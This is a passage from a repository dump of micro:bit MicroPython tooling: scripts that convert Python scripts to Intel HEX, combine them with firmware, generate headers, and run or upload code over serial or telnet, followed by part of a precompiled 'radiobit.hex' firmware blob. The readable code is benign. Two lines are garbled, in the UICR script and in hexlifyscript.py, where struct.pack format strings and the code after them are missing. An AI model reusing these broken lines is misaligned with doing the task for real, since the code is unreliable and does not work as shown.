NRF_PAGE_SIZE_LOG2 UICR_BASE_ADDR = 0x100010c0 UICR_MAGIC_NUMBER = 0x17eeb07c if __name__ == '__main__': arg_parser = argparse.ArgumentParser(description='Add UICR region to hex firmware for the micro:bit.') arg_parser.add_argument('-o', '--output', default=sys.stdout, type=argparse.FileType('wt'), help='output file (default is stdout)') arg_parser.add_argument('firmware', nargs=1, help='input MicroPython firmware') arg_parser.add_argument('address', nargs=1, type=lambda x: int(x, 0), help='address in flash of the version string') args = arg_parser.parse_args() # read in the firmware with open(args.firmware[0], 'rt') as f: firmware = f.readlines() # print head of firmware for line in firmware[:-2]: print(line, end='', file=args.output) # make UICR data uicr_data = b'' uicr_data += struct.pack('H', UICR_BASE_ADDR >> 16)), file=args.output) for i in range(0, len(uicr_data), 16): chunk = uicr_data[i:min(i + 16, len(uicr_data))] print(hexlifyscript.make_ihex_record(UICR_BASE_ADDR + i, hexlifyscript.IHEX_TYPE_DATA, chunk), file=args.output) # print tail of firmware print(firmware[-2], end='', file=args.output) print(firmware[-1], end='', file=args.output) ================================================ FILE: micropython/tools/hexlifyscript.js ================================================ /* Turn a Python script into Intel HEX format to be concatenated at the end of the MicroPython firmware.hex. A simple header is added to the script. To execute from command line: node hexlifyscript.js */ // hexlifyScript: // - takes a Python script as a string // - returns hexlified string, with newlines between lines function hexlifyScript(script) { function hexlify(ar) { var result = ''; for (var i = 0; i < ar.length; ++i) { if (ar[i] < 16) { result += '0'; } result += ar[i].toString(16); } return result; } // add header, pad to multiple of 16 bytes data = new Uint8Array(4 + script.length + (16 - (4 + script.length) % 16)); data[0] = 77; // 'M' data[1] = 80; // 'P' data[2] = script.length & 0xff; data[3] = (script.length >> 8) & 0xff; for (var i = 0; i < script.length; ++i) { data[4 + i] = script.charCodeAt(i); } // TODO check data.length < 0x2000 // convert to .hex format var addr = 0x3e000; // magic start address in flash var chunk = new Uint8Array(5 + 16); var output = []; output.push(':020000040003F7') // extended linear address, 0x0003 for (var i = 0; i < data.length; i += 16, addr += 16) { chunk[0] = 16; // length of data section chunk[1] = (addr >> 8) & 0xff; // high byte of 16-bit addr chunk[2] = addr & 0xff; // low byte of 16-bit addr chunk[3] = 0; // type (data) for (var j = 0; j < 16; ++j) { chunk[4 + j] = data[i + j]; } var checksum = 0; for (var j = 0; j < 4 + 16; ++j) { checksum += chunk[j]; } chunk[4 + 16] = (-checksum) & 0xff; output.push(':' + hexlify(chunk).toUpperCase()) } return output.join('\n'); } // read script from file, hexlify, then print to console console.log(hexlifyScript(require('fs').readFileSync(process.argv[2], 'utf8'))); ================================================ FILE: micropython/tools/hexlifyscript.py ================================================ #!/usr/bin/env python3 ''' Turn a Python script into Intel HEX format to be concatenated at the end of the MicroPython firmware.hex. A simple header is added to the script. To execute from command line: ./hexlifyscript.py It also accepts data on standard input. ''' import struct import binascii import fileinput IHEX_TYPE_DATA = 0 IHEX_TYPE_EXT_LIN_ADDR = 4 SCRIPT_ADDR = 0x3e000 # magic start address in flash of script def make_ihex_record(addr, type, data): record = struct.pack('>BHB', len(data), addr & 0xffff, type) + data checksum = (-(sum(record))) & 0xff return ':%s%02X' % (str(binascii.hexlify(record), 'utf8').upper(), checksum) def hexlify_script(script): # add header, pad to multiple of 16 bytes data = b'MP' + struct.pack('> 16 == 3) # 0x0003 is hard coded in line below output.append(make_ihex_record(0, IHEX_TYPE_EXT_LIN_ADDR, b'\x00\x03')) for i in range(0, len(data), 16): chunk = data[i:min(i + 16, len(data))] output.append(make_ihex_record(addr, IHEX_TYPE_DATA, chunk)) addr += 16 return '\n'.join(output) if __name__ == '__main__': # read script from a file and print out the hexlified version with fileinput.input(mode='rb') as lines: print(hexlify_script(b''.join(lines))) ================================================ FILE: micropython/tools/makecombinedhex.py ================================================ #!/usr/bin/env python3 ''' Combine the MicroPython firmware with a Python script and produce a hex file ready for uploading to the micro:bit. Usage: ./makecombinedhex.py [-o ] Output goes to stdout if no filename is given. ''' import sys import argparse import hexlifyscript def get_largest_addr(hexfile): largest_addr = 0 for line in hexfile: count = int(line[1:3], 16) addr = int(line[3:7], 16) type = int(line[7:9], 16) if count == 2 and type == 4: # ext linear addr page = int(line[9:13], 16) << 16 elif type == 0: # data # only count pages in flash, not in the UICR if page < 0x10000000: largest_addr = max(largest_addr, page + addr + count) return largest_addr def find_uicr_line(hexfile): for i, line in enumerate(hexfile): # UICR from 0x10001000 so we expect an extended linear address record if ':020000041000EA' in line: return i return None if __name__ == '__main__': arg_parser = argparse.ArgumentParser(description='Produce combined hex firmware for the micro:bit.') arg_parser.add_argument('-o', '--output', default=sys.stdout, type=argparse.FileType('wt'), help='output file (default is stdout)') arg_parser.add_argument('firmware', nargs=1, help='input MicroPython firmware') arg_parser.add_argument('script', nargs=1, help='input Python script') args = arg_parser.parse_args() # read in the firmware with open(args.firmware[0], 'rt') as f: firmware = f.readlines() # check the firmware is not too large if get_largest_addr(firmware) > hexlifyscript.SCRIPT_ADDR: raise Exception('firmware overflows into script region') # hexlify the script with open(args.script[0], 'rb') as f: script = hexlifyscript.hexlify_script(f.read()) # print lines until UICR area or the start linear address record firmware_end = find_uicr_line(firmware) or len(firmware) - 2 for line in firmware[:firmware_end]: print(line, end='', file=args.output) # print script print(script, file=args.output) # print rest of hex file for line in firmware[firmware_end:]: print(line, end='', file=args.output) ================================================ FILE: micropython/tools/makeqstrhdr.sh ================================================ #!/bin/sh # # This script generates the qstrdefs.generated.h file. You'll need to run # it if you change any code with "MP_QSTR_xxx" in it, or if you get an # error from the compiler about undefined MP_QSTR_xxx constants. # # Run it from the root directory, like this: # # $ ./tools/makeqstrhdr.sh MKDIR=mkdir CAT=cat SED=sed PYTHON=python INC="-I. -Iinc -Iinc/lib -Iinc/microbit -Isource -Iyotta_modules/microbit-dal/inc/platform -Iyotta_modules/microbit-dal/inc/types -Iyotta_modules/microbit-dal/inc/core -Iyotta_modules/microbit-dal/inc/drivers -Iyotta_modules/mbed-classic/hal -Iyotta_modules/mbed-classic/targets/cmsis -Iyotta_modules/mbed-classic/api -Iyotta_modules/nrf51-sdk/source/nordic_sdk/components/device -Iyotta_modules/nrf51-sdk/source/nordic_sdk/components/drivers_nrf/hal -I./yotta_modules/mbed-classic/targets/cmsis/TARGET_NORDIC/TARGET_MCU_NRF51822 -Iyotta_modules/mbed-classic/targets/hal/TARGET_NORDIC/TARGET_MCU_NRF51822 -I./yotta_modules/mbed-classic/targets/hal/TARGET_NORDIC/TARGET_MCU_NRF51822/TARGET_NRF51_MICROBIT -Iyotta_modules/ble" DEF="-DNRF51 -DYOTTA_BUILD_INFO_HEADER=" CC=arm-none-eabi-gcc CXX=arm-none-eabi-g++ CFLAGS="$INC $DEF -Wall -Wpointer-arith -Werror -std=c99 -nostdlib" CXXFLAGS="$INC $DEF -Wall" TOP=source GENHDRDIR=./inc/genhdr SRC_C=$(find source -name '*.c') SRC_CXX=$(find source -name '*.cpp') QSTR_EXTRA="inc/py/qstrdefs.h inc/microbit/qstrdefsport.h" mkdir -p $GENHDRDIR echo "Preprocessing the source files" $CC -E -DNO_QSTR $CFLAGS $SRC_C > $GENHDRDIR/qstr.i.last || exit 1 $CXX -E -DNO_QSTR $CXXFLAGS $SRC_CXX >> $GENHDRDIR/qstr.i.last || exit 1 echo "Extracting all qstrs" $PYTHON $TOP/py/makeqstrdefs.py split $GENHDRDIR/qstr.i.last $GENHDRDIR/qstr $GENHDRDIR/qstrdefs.collected.h || exit 1 $PYTHON $TOP/py/makeqstrdefs.py cat $GENHDRDIR/qstr.i.last $GENHDRDIR/qstr $GENHDRDIR/qstrdefs.collected.h || exit 1 echo "Generating qstr header" $CAT $QSTR_EXTRA $GENHDRDIR/qstrdefs.collected.h | $SED 's/^Q(.*)/"&"/' | $CC -E $CFLAGS - | $SED 's/^"\(Q(.*)\)"/\1/' > $GENHDRDIR/qstrdefs.preprocessed.h || exit 1 $PYTHON $TOP/py/makeqstrdata.py $GENHDRDIR/qstrdefs.preprocessed.h > $GENHDRDIR/qstrdefs.generated.h || exit 1 ================================================ FILE: micropython/tools/makeversionhdr.py ================================================ #!/usr/bin/env python """ Generate header file with macros defining micro:bit version info. This script works with Python 2.6, 2.7, 3.3 and 3.4. """ from __future__ import print_function import sys import os import datetime import subprocess def get_version_info_from_git(): # Python 2.6 doesn't have check_output, so check for that try: subprocess.check_output subprocess.check_call except AttributeError: return None # Note: git describe doesn't work if no tag is available try: git_tag = subprocess.check_output(["git", "describe", "--dirty", "--always"], stderr=subprocess.STDOUT, universal_newlines=True).strip() except subprocess.CalledProcessError as er: if er.returncode == 128: # git exit code of 128 means no repository found return None git_tag = "" except OSError: return None try: git_hash = subprocess.check_output(["git", "rev-parse", "--short", "HEAD"], stderr=subprocess.STDOUT, universal_newlines=True).strip() except subprocess.CalledProcessError: git_hash = "unknown" except OSError: return None try: # Check if there are any modified files. subprocess.check_call(["git", "diff", "--no-ext-diff", "--quiet", "--exit-code"], stderr=subprocess.STDOUT) # Check if there are any staged files. subprocess.check_call(["git", "diff-index", "--cached", "--quiet", "HEAD", "--"], stderr=subprocess.STDOUT) except subprocess.CalledProcessError: git_hash += "-dirty" except OSError: return None return git_tag, git_hash def make_version_header(filename): # Get version info using git, with fallback to docs/conf.py info = get_version_info_from_git() if info is None: info = "unknown", "unknown" git_tag, git_hash = info # Generate the file with the git and version info file_data = """\ // This file was generated by tools/makeversionhdr.py #define MICROBIT_GIT_TAG "%s" #define MICROBIT_GIT_HASH "%s" #define MICROBIT_BUILD_DATE "%s" """ % (git_tag, git_hash, datetime.date.today().strftime("%Y-%m-%d")) # Check if the file contents changed from last time write_file = True if os.path.isfile(filename): with open(filename, 'r') as f: existing_data = f.read() if existing_data == file_data: write_file = False # Only write the file if we need to if write_file: print("Generate %s" % filename) with open(filename, 'w') as f: f.write(file_data) if __name__ == "__main__": make_version_header(sys.argv[1]) ================================================ FILE: micropython/tools/pyboard.py ================================================ #!/usr/bin/env python """ pyboard interface This module provides the Pyboard class, used to communicate with and control the pyboard over a serial USB connection. Example usage: import pyboard pyb = pyboard.Pyboard('/dev/ttyACM0') Or: pyb = pyboard.Pyboard('192.168.1.1') Then: pyb.enter_raw_repl() pyb.exec('pyb.LED(1).on()') pyb.exit_raw_repl() Note: if using Python2 then pyb.exec must be written as pyb.exec_. To run a script from the local machine on the board and print out the results: import pyboard pyboard.execfile('test.py', device='/dev/ttyACM0') This script can also be run directly. To execute a local script, use: ./pyboard.py /dev/ttyACM0 test.py Or: python pyboard.py /dev/ttyACM0 test.py """ import sys import time try: stdout = sys.stdout.buffer except AttributeError: # Python2 doesn't have buffer attr stdout = sys.stdout def stdout_write_bytes(b): b = b.replace(b"\x04", b"") stdout.write(b) stdout.flush() class PyboardError(BaseException): pass class TelnetToSerial: def __init__(self, ip, user, password, read_timeout=None): import telnetlib self.tn = telnetlib.Telnet(ip, timeout=15) self.read_timeout = read_timeout if b'Login as:' in self.tn.read_until(b'Login as:', timeout=read_timeout): self.tn.write(bytes(user, 'ascii') + b"\r\n") if b'Password:' in self.tn.read_until(b'Password:', timeout=read_timeout): # needed because of internal implementation details of the telnet server time.sleep(0.2) self.tn.write(bytes(password, 'ascii') + b"\r\n") if b'for more information.' in self.tn.read_until(b'Type "help()" for more information.', timeout=read_timeout): # login succesful from collections import deque self.fifo = deque() return raise PyboardError('Failed to establish a telnet connection with the board') def __del__(self): self.close() def close(self): try: self.tn.close() except: # the telnet object might not exist yet, so ignore this one pass def read(self, size=1): while len(self.fifo) < size: timeout_count = 0 data = self.tn.read_eager() if len(data): self.fifo.extend(data) timeout_count = 0 else: time.sleep(0.25) if self.read_timeout is not None and timeout_count > 4 * self.read_timeout: break timeout_count += 1 data = b'' while len(data) < size and len(self.fifo) > 0: data += bytes([self.fifo.popleft()]) return data def write(self, data): self.tn.write(data) return len(data) def inWaiting(self): n_waiting = len(self.fifo) if not n_waiting: data = self.tn.read_eager() self.fifo.extend(data) return len(data) else: return n_waiting class Pyboard: def __init__(self, device, baudrate=115200, user='micro', password='python', wait=0): if device and device[0].isdigit() and device[-1].isdigit() and device.count('.') == 3: # device looks like an IP address self.serial = TelnetToSerial(device, user, password, read_timeout=10) else: import serial delayed = False for attempt in range(wait + 1): try: self.serial = serial.Serial(device, baudrate=baudrate, interCharTimeout=1) break except (OSError, IOError): # Py2 and Py3 have different errors if wait == 0: continue if attempt == 0: sys.stdout.write('Waiting {} seconds for pyboard '.format(wait)) delayed = True time.sleep(1) sys.stdout.write('.') sys.stdout.flush() else: if delayed: print('') raise PyboardError('failed to access device at ' + device) if delayed: print('') def close(self): self.serial.close() def read_until(self, min_num_bytes, ending, timeout=10, data_consumer=None): data = self.serial.read(min_num_bytes) if data_consumer: data_consumer(data) timeout_count = 0 while True: if data.endswith(ending): break elif self.serial.inWaiting() > 0: new_data = self.serial.read(1) data = data + new_data if data_consumer: data_consumer(new_data) timeout_count = 0 else: timeout_count += 1 if timeout is not None and timeout_count >= 100 * timeout: break time.sleep(0.01) return data def enter_raw_repl(self): self.serial.write(b'\r\x03\x03') # ctrl-C twice: interrupt any running program # flush input (without relying on serial.flushInput()) n = self.serial.inWaiting() while n > 0: self.serial.read(n) n = self.serial.inWaiting() self.serial.write(b'\r\x01') # ctrl-A: enter raw REPL data = self.read_until(1, b'raw REPL; CTRL-B to exit\r\n>') if not data.endswith(b'raw REPL; CTRL-B to exit\r\n>'): print(data) raise PyboardError('could not enter raw repl') self.serial.write(b'\x04') # ctrl-D: soft reset data = self.read_until(1, b'soft reboot\r\n') if not data.endswith(b'soft reboot\r\n'): print(data) raise PyboardError('could not enter raw repl') # By splitting this into 2 reads, it allows boot.py to print stuff, # which will show up after the soft reboot and before the raw REPL. data = self.read_until(1, b'raw REPL; CTRL-B to exit\r\n') if not data.endswith(b'raw REPL; CTRL-B to exit\r\n'): print(data) raise PyboardError('could not enter raw repl') def exit_raw_repl(self): self.serial.write(b'\r\x02') # ctrl-B: enter friendly REPL def follow(self, timeout, data_consumer=None): # wait for normal output data = self.read_until(1, b'\x04', timeout=timeout, data_consumer=data_consumer) if not data.endswith(b'\x04'): raise PyboardError('timeout waiting for first EOF reception') data = data[:-1] # wait for error output data_err = self.read_until(1, b'\x04', timeout=timeout) if not data_err.endswith(b'\x04'): raise PyboardError('timeout waiting for second EOF reception') data_err = data_err[:-1] # return normal and error output return data, data_err def exec_raw_no_follow(self, command): if isinstance(command, bytes): command_bytes = command else: command_bytes = bytes(command, encoding='utf8') # check we have a prompt data = self.read_until(1, b'>') if not data.endswith(b'>'): raise PyboardError('could not enter raw repl') # write command for i in range(0, len(command_bytes), 32): self.serial.write(command_bytes[i:min(i + 32, len(command_bytes))]) time.sleep(0.01) self.serial.write(b'\x04') # check if we could exec command data = self.serial.read(2) if data != b'OK': raise PyboardError('could not exec command') def exec_raw(self, command, timeout=10, data_consumer=None): self.exec_raw_no_follow(command); return self.follow(timeout, data_consumer) def eval(self, expression): ret = self.exec_('print({})'.format(expression)) ret = ret.strip() return ret def exec_(self, command): ret, ret_err = self.exec_raw(command) if ret_err: raise PyboardError('exception', ret, ret_err) return ret def execfile(self, filename): with open(filename, 'rb') as f: pyfile = f.read() return self.exec_(pyfile) def get_time(self): t = str(self.eval('pyb.RTC().datetime()'), encoding='utf8')[1:-1].split(', ') return int(t[4]) * 3600 + int(t[5]) * 60 + int(t[6]) # in Python2 exec is a keyword so one must use "exec_" # but for Python3 we want to provide the nicer version "exec" setattr(Pyboard, "exec", Pyboard.exec_) def execfile(filename, device='/dev/ttyACM0', baudrate=115200, user='micro', password='python'): pyb = Pyboard(device, baudrate, user, password) pyb.enter_raw_repl() output = pyb.execfile(filename) stdout_write_bytes(output) pyb.exit_raw_repl() pyb.close() def main(): import argparse cmd_parser = argparse.ArgumentParser(description='Run scripts on the pyboard.') cmd_parser.add_argument('-b', '--baudrate', default=115200, help='the baud rate of the serial device') cmd_parser.add_argument('-u', '--user', default='micro', help='the telnet login username') cmd_parser.add_argument('-p', '--password', default='python', help='the telnet login password') cmd_parser.add_argument('-c', '--command', help='program passed in as string') cmd_parser.add_argument('-w', '--wait', default=0, type=int, help='seconds to wait for USB connected board to become available') cmd_parser.add_argument('--follow', action='store_true', help='follow the output after running the scripts [default if no scripts given]') cmd_parser.add_argument('device', nargs=1, help='the serial device or the IP address of the pyboard') cmd_parser.add_argument('files', nargs='*', help='input files') args = cmd_parser.parse_args() def execbuffer(buf): try: pyb = Pyboard(args.device[0], args.baudrate, args.user, args.password, args.wait) pyb.enter_raw_repl() ret, ret_err = pyb.exec_raw(buf, timeout=None, data_consumer=stdout_write_bytes) pyb.exit_raw_repl() pyb.close() except PyboardError as er: print(er) sys.exit(1) except KeyboardInterrupt: sys.exit(1) if ret_err: stdout_write_bytes(ret_err) sys.exit(1) if args.command is not None: execbuffer(args.command.encode('utf-8')) for filename in args.files: with open(filename, 'rb') as f: pyfile = f.read() execbuffer(pyfile) if args.follow or (args.command is None and len(args.files) == 0): try: pyb = Pyboard(args.device[0], args.baudrate, args.user, args.password, args.wait) ret, ret_err = pyb.follow(timeout=None, data_consumer=stdout_write_bytes) pyb.close() except PyboardError as er: print(er) sys.exit(1) except KeyboardInterrupt: sys.exit(1) if ret_err: stdout_write_bytes(ret_err) sys.exit(1) if __name__ == "__main__": main() ================================================ FILE: micropython/tools/upload.py ================================================ #!/usr/bin/env python """ This module allows files to loaded onto the Micro:Bit without flashing the device. Example usage: $ ./tools/upload.py /dev/ttyACM0 ./examples/simple_slalom.py --name main.py Will upload the simple_slalom game into main.py """ import sys import pyboard PY2 = sys.version_info < (3,) def main(): import argparse cmd_parser = argparse.ArgumentParser(description='Load files onto the microbit.') cmd_parser.add_argument('-b', '--baudrate', default=115200, help='the baud rate of the serial device') cmd_parser.add_argument('-u', '--user', default='micro', help='the telnet login username') cmd_parser.add_argument('-p', '--password', default='python', help='the telnet login password') cmd_parser.add_argument('-w', '--wait', default=0, type=int, help='seconds to wait for USB connected board to become available') cmd_parser.add_argument('--name', nargs=1, help='name to save the file as, if different from the file name') cmd_parser.add_argument('device', nargs=1, help='the serial device or the IP address of the microbit') cmd_parser.add_argument('file', nargs=1, help='file to load') args = cmd_parser.parse_args() def exec_commands(cmds): try: pyb = pyboard.Pyboard(args.device[0], args.baudrate, args.user, args.password, args.wait) pyb.enter_raw_repl() for cmd in cmds: ret, ret_err = pyb.exec_raw(cmd, timeout=None, data_consumer=pyboard.stdout_write_bytes) if ret_err: break pyb.exit_raw_repl() pyb.close() except Exception as er: print(er) sys.exit(1) except KeyboardInterrupt: sys.exit(1) if ret_err: pyboard.stdout_write_bytes(ret_err) sys.exit(1) with open(args.file[0], 'rb') as f: pyfile = f.read() if args.name: name = args.name[0] else: name = args.file[0] script = make_save_script(pyfile, name) exec_commands(script) def make_save_script(pyfile, filename): '''Convert a file into a script that saves that file into the persistent script area on the microbit''' output = [ ''' fd = open("%s", "wb") f = fd.write''' % filename ] while pyfile: line = pyfile[:64] if PY2: output.append('f(b' + repr(line) + ')') else: output.append('f(' + repr(line) + ')') pyfile = pyfile[64:] output.append('fd.close()') return output if __name__ == "__main__": main() ================================================ FILE: precompiled/radiobit.hex ================================================ :020000040000FA :100000000040002099990100D5990100D79901007D :1000100000000000000000000000000000000000E0 :10002000000000000000000000000000D99901005D :100030000000000000000000DB990100DD990100D4 :10004000DF9901005D320000DDA00100DF990100B1 :10005000DF99010000000000999A0100DF9901007A :10006000894601003DA60100519F0100DF99010072 :10007000DF990100DF990100DF990100DF9901009C :10008000DF990100DF990100DF990100DF9901008C :10009000DF9901009195010051960100C5470100CB :1000A000D5470100DF9901000000000000000000BA :1000B0000000000000000000000000000000000040 :1000C00010B5064C2378002B07D1054B002B02D02E :1000D000044800E000BF0123237010BD2001002070 :1000E00000000000CC900300044B10B5002B03D09F :1000F0000349044800E000BF10BDC04600000000F6 :1001000024010020CC900300164B002B00D1144B8F :100110009D46402292029A1A924600218B460F4633 :100120001348144A121A29F052FA0F4B002B00D030 :1001300098470E4B002B00D0984700200021040068 :100140000D000D48002802D00C4800E000BF20F050 :10015000B1FF2000290028F0D3FF20F0C9FEC046DF :100160000000080000400020000000000000000027 :1001700018010020F42F0020000000000000000003 :1001800010B5040001F0F4FC074B02001B6907499D :10019000074822F01AFF13F091FD012C01D113F052 :1001A000AFFD044810BDC046842E00208604030025 :1001B00034B7020024DD020010B50CF003FC04F09B :1001C0008BF9014810BDC04624DD020010B513F0C4 :1001D00077FA014810BDC04624DD020010B513F0C7 :1001E00065FA014810BDC04624DD020010B586B096 :1001F000040005AB04AA03A902A815F0E5FA059BC3 :10020000029A0193049B064900930648039B22F03F :10021000DCFE012C01D115F013FB034806B010BD24 :100220009B04030034B7020024DD020010B5084C23 :10023000002805D1A834236801305B00184310BDA5 :1002400008680CF0BFFBA83420600248F7E7C046FE :10025000842E002024DD020010B50CF019FC0449A6 :100260001BF060F91AF026FD27F0F3F9014810BDE4 :1002700000007A4424DD020010B50CF0A3FB002836 :1002800001DD27F0E6F9014810BDC04624DD02007B :1002900010B5040008000CF095FB64102418034806 :1002A000640004400120204310BDC046FEFFFF7FD4 :1002B00010B50CF087FB002801DD27F0C6F90148D6 :1002C00010BDC04624DD020010B527F0DAF9034B5B :1002D000400018400123184310BDC046FEFFFF7FB9 :1002E00010B527F0CAF9034B40001840012318430A :1002F00010BDC046FEFFFF7FA3230021024A5B0022 :100300000248D1527047C046842E002024DD0200EE :10031000A3230121024A5B000248D1527047C04624 :10032000842E002024DD0200A323044A5B00D35A5C :100330000348002B00D103487047C046842E00209C :10034000B4AD0200ACAD020010B512F027FD0148BB :1003500010BDC04624DD020010B50C4C002808D1A9 :10036000FC34236D18005A1C02D0180122F086FBC1 :1003700010BD08680CF026FBFC34031E044803DAA9 :1003800001235B422365F3E71B09FBE7842E002072 :1003900024DD0200F0B505008BB008680C0009F000 :1003A000DFF9059005A821F0ACFC00270126059B8C :1003B00003900793079B197800291BD1380012F08E :1003C00099FB0122009007A960680CF0B5FC079B1F :1003D000089A06939B1801920293022D20D9A068D7 :1003E0000CF0F0FA002818DA089BC01815D52A4836 :1003F00000F048FF080014F0A3FE002805D13000EB :10040000079B3F1801330793D4E707A821F08BFC23 :10041000079B1B78732BF3D1F1E7069B1818069006 :100420000025BD4202D300980BB0F0BD059B01260C :10043000187814F085FE002803D005A821F073FC7D :1004400006000698029A83199A42D0D3059BAC1CE9 :100450001B78732B0AD0009BA4001C190196019AEB :10046000059B511E01910FD2AD1909E0310008F032 :1004700051FD069BA4009E19009B06960135E05095 :10048000059B01330593CCE7197806AA03980AF077 :1004900011FE01C4E3E7C046E3040300F0B58BB0EE :1004A00005910292039309F05BF9069006A821F0EA :1004B00028FC002401270490039B9C4201D30BB02D :1004C000F0BD069B18780028F9D014F039FE3D00E5 :1004D000002803D006A821F026FC0500059B029AFF :1004E0005B199A4202D21B4800F0CCFE069BA60084 :1004F0001B78732B09D0109B01959E19019A069BBE :10050000511E01911ED2641918E0109B3A009859AF :1005100007A90CF011FC089E0134AE4200D92E0050 :1005200007993200059829F036F8059BAA1B9819FF :10053000002129F04CF8059B5D190595069B0133B8 :100540000693B9E7197804CE05AB04980AF012FEB9 :10055000D4E7C046E3040300F0B50E0089B0039071 :1005600001CE0F0021F0F3FB4410210004A826F077 :100570005CFF069D22000021280029F028F8039B3B :100580002A19013B290038680096FFF787FF04A964 :10059000024808F071FC09B0F0BDC04620B9020065 :1005A00030B50C0089B005000222606805A90CF086 :1005B000C3FBA0680CF006FA002806DA069B03933A :1005C000C01802D5084800F05DFE0599069AEB1E9A :1005D0008A18091820000C3000902068FFF75EFF91 :1005E000024809B030BDC046E304030024DD020028 :1005F00070B515F03FF80F4C0F4B0025A3620F4B61 :10060000E562636323000321A8330D481D60A564E0 :1006100025630FF0F1FF0B4E012130000FF0ECFFCE :100620003000094A094924F052FD26606660E565FC :1006300070BDC046842E0020C4A3020064D1020015 :10064000BC2E0020D02E0020760F0000860F000068 :1006500070B50624134EC3001C43736800220500C6 :100660002100181D16F0A4F8021E18D1F06D002804 :1006700007D00430210016F09BF8002801D0406814 :1006800070BD00222100084816F092F8021E06D123 :100690002A000649064801F0C3FF06F001FF506832 :1006A000EEE7C046842E0020B0F002001B060300D7 :1006B00078A402000A4B10B5040018685B689842E1 :1006C0000AD00621E30019430430002216F070F826 :1006D000002801D0406810BD2000FFF7B9FFFAE7FD :1006E000842E0020074B10B5D86D002801D1064894 :1006F00010BD04300022054916F05AF80028F6D043 :100700004068F5E7842E002078EF0200DE0E00003E :100710000A00C100062010B5024B0143186824F0FE :10072000D6FC10BD842E0020062110B5034BC0005E :100730000143186824F0D5FC10BDC046842E00206B :100740000A00C100062010B5024B0143586824F08E :10075000BEFC10BD842E0020062110B5034BC00046 :100760000143586824F0BDFC10BDC046842E002013 :1007700037B505000C00062806D108000CF060FA19 :1007800000280DD02C483EBDCB071BD54B100428AC :1007900016D81AF06DF803154E4E0700002BF1D055 :1007A0002648F0E7C0221206934204D18020C005FB :1007B00022F064F9E7E75B425B0001201843E2E7BF :1007C000DB43F9E702281AD11D4B0B40062B08D05A :1007D0008B0714D10A681B4B92699A420FD1486863 :1007E00002E0C80826F000FF002806D101A9200079 :1007F00008F0B2FB019914F02BFF4300DDE7200065 :100800000BF0FCFF4369002B0DD10F4BAD00200016 :10081000ED5823F07AFA2A0003000C490C4801F045 :10082000FFFE06F03DFE2100280098470028AAD1CF :10083000EBE70800A7E7C046ACAD0200B4AD02008C :10084000070080FF199D0000F4B80200A70603000E :1008500058A60200F7B50400019116001F000BF026 :10086000CDFF0569002D09D1200023F04EFA06497D :100870000200064801F0D4FE06F012FE3B003200F2 :1008800001992000A847FEBDAE05030058A602004E :10089000F8B50E0015001C00930714D113681E4A0A :1008A000934202D16B682360F8BD1C4A934207D182 :1008B000002802D00BF0A2FF06006B6848C4F3E7E3 :1008C000174A934201D12560EEE75A6802211700CA :1008D0008F4314498F4202D013498A42F3D1002832 :1008E00017D1124A93420BD0114A934208D0114AB1 :1008F000934205D0104A934202D0104A934208D145 :100900000C2021F050FB0E4B466003608560206098 :10091000CAE725606060C7E740B8020004B802007B :10092000B8B80200450200001A020000D0DF020041 :100930000CE0020048E0020084E00200C0E0020097 :100940006C9A0200F8B500231360536006000D0096 :1009500014000BF053FFF92307005B009D4205D103 :10096000836A002B02D00F4B48C4F8BDFB69002BF3 :1009700004D02200290030009847F6E7B86B002821 :10098000F3D00621ED00294304301A0015F010FFC2 :100990000028EAD04268230039003000FFF778FFD2 :1009A000E3E7C04640F0020070B5160004000D00F9 :1009B000FFF7C8FF3368002B15D10B4EA3070BD1EF :1009C0000A4B22689A4207D12B006268084930001E :1009D00001F026FE06F064FD200023F096F92B00BE :1009E00002000449F3E770BDA8A10200B8B80200F4 :1009F000340603005B06030073B504000D00160007 :100A00000BF0FCFEC369002B09D004220196009272 :100A100029006A4620009847009B002B0AD020003E :100A200023F073F92B0002000349044801F0F8FD9C :100A300006F036FD73BDC0465B060300A8A10200A8 :100A400073B504000D000BF0D9FE174B426A060087 :100A50009A4226D0002D03D1102021F0A4FA0500DF :100A6000736A002B12D1E6216A46FF312000FFF79E :100A700069FF009B002B0FD1200023F046F90B49A2 :100A800002000B4801F0CCFD06F00AFD2900200011 :100A900098470028E7D076BD2900684612F068FD27 :100AA000F9E72000F7E7C046373D0200CA0503001A :100AB00058A6020037B504000BF0A0FE856A002D91 :100AC00002D02000A8473EBDF9216A464900200017 :100AD000FFF738FF009B002B05D06A46290028004D :100AE00021F074F9EFE7200023F00FF90349020029 :100AF000034801F095FD06F0D3FCC046FC05030059 :100B000058A6020030B505008FB001F04BF8280060 :100B10000BF074FE846A002C05D02800A047040066 :100B200020000FB030BDF9216A4649002800FFF7C8 :100B300009FF009B002B16D002A806F08BFC0028B2 :100B400007D16A46010021F041F9040006F0A0FC3B :100B5000E6E7039B0849186808F052F80028DFD13F :100B6000039806F09DFC280023F0CFF8034902000B :100B7000034801F055FDF4E7A4A50200FC050300BD :100B800058A60200F0B513688FB00793002800D074 :100B90006FE00400131D0493FF220B00090A1340A9 :100BA000114002934B000693069A029B05919B18F5 :100BB000049A9B00D558D3185F68381E09D00020CE :100BC000BB0706D1924B3A689A4202D1380024F012 :100BD0007BFA059B18184600002D4FD1029B25007B :100BE000581C83199800019321F0DDF90600002CB0 :100BF00001D001250460029BA8009A0030180499D6 :100C000028F0C9FC029B5B190393039B9800059B8A :100C10003018DA00029B9900049B591828F0BBFC9D :100C2000039A069B944663441D00002F12D00324B0 :100C30003C4000D0AAE0764B3A689A4200D0A5E04A :100C4000380024F059FA0323070001937B689C4283 :100C500000D27DE0039B0399EA1A520833000798FB :100C6000FFF7F8FD0400300021F0CCF920000FB0B0 :100C7000F0BD13000833049354688DE7AB072ED101 :100C80002B68644A934202D0634A934227D12800DA :100C90000AAA09A90BF03AFF099B2500581C029BE0 :100CA000C01883199800019321F07DF90600002CEB :100CB00001D001250460029BA8009A000499301815 :100CC00028F069FC029B0A995819099B80009A0038 :100CD000301828F060FC029B099A9B1893E7029B4E :100CE000181D83199800019321F05DF90394060003 :100CF000002C02D0012304600393039B0499980005 :100D0000029B30189A0028F046FC029A039B9446F6 :100D1000280063440AA90393FFF792FE0500280008 :100D2000FFF7F0FE041E00D16FE7019B039A934288 :100D300007D8D900300021F054F90600019B5B0070 :100D40000193039B9B009C51039B01330393E6E7B4 :100D5000E3000293BB68E2009858002814D00428EE :100D600012D0019B184205D12C4B02689A4201D146 :100D700022F0C3FBAB00F050B968E2008C4662443D :100D80005268F31802355A6001345FE70AAA244911 :100D90003800FFF709FE00210AAA080021F016F822 :100DA0000021FFF74DFE02900298FFF7ABFE041EF4 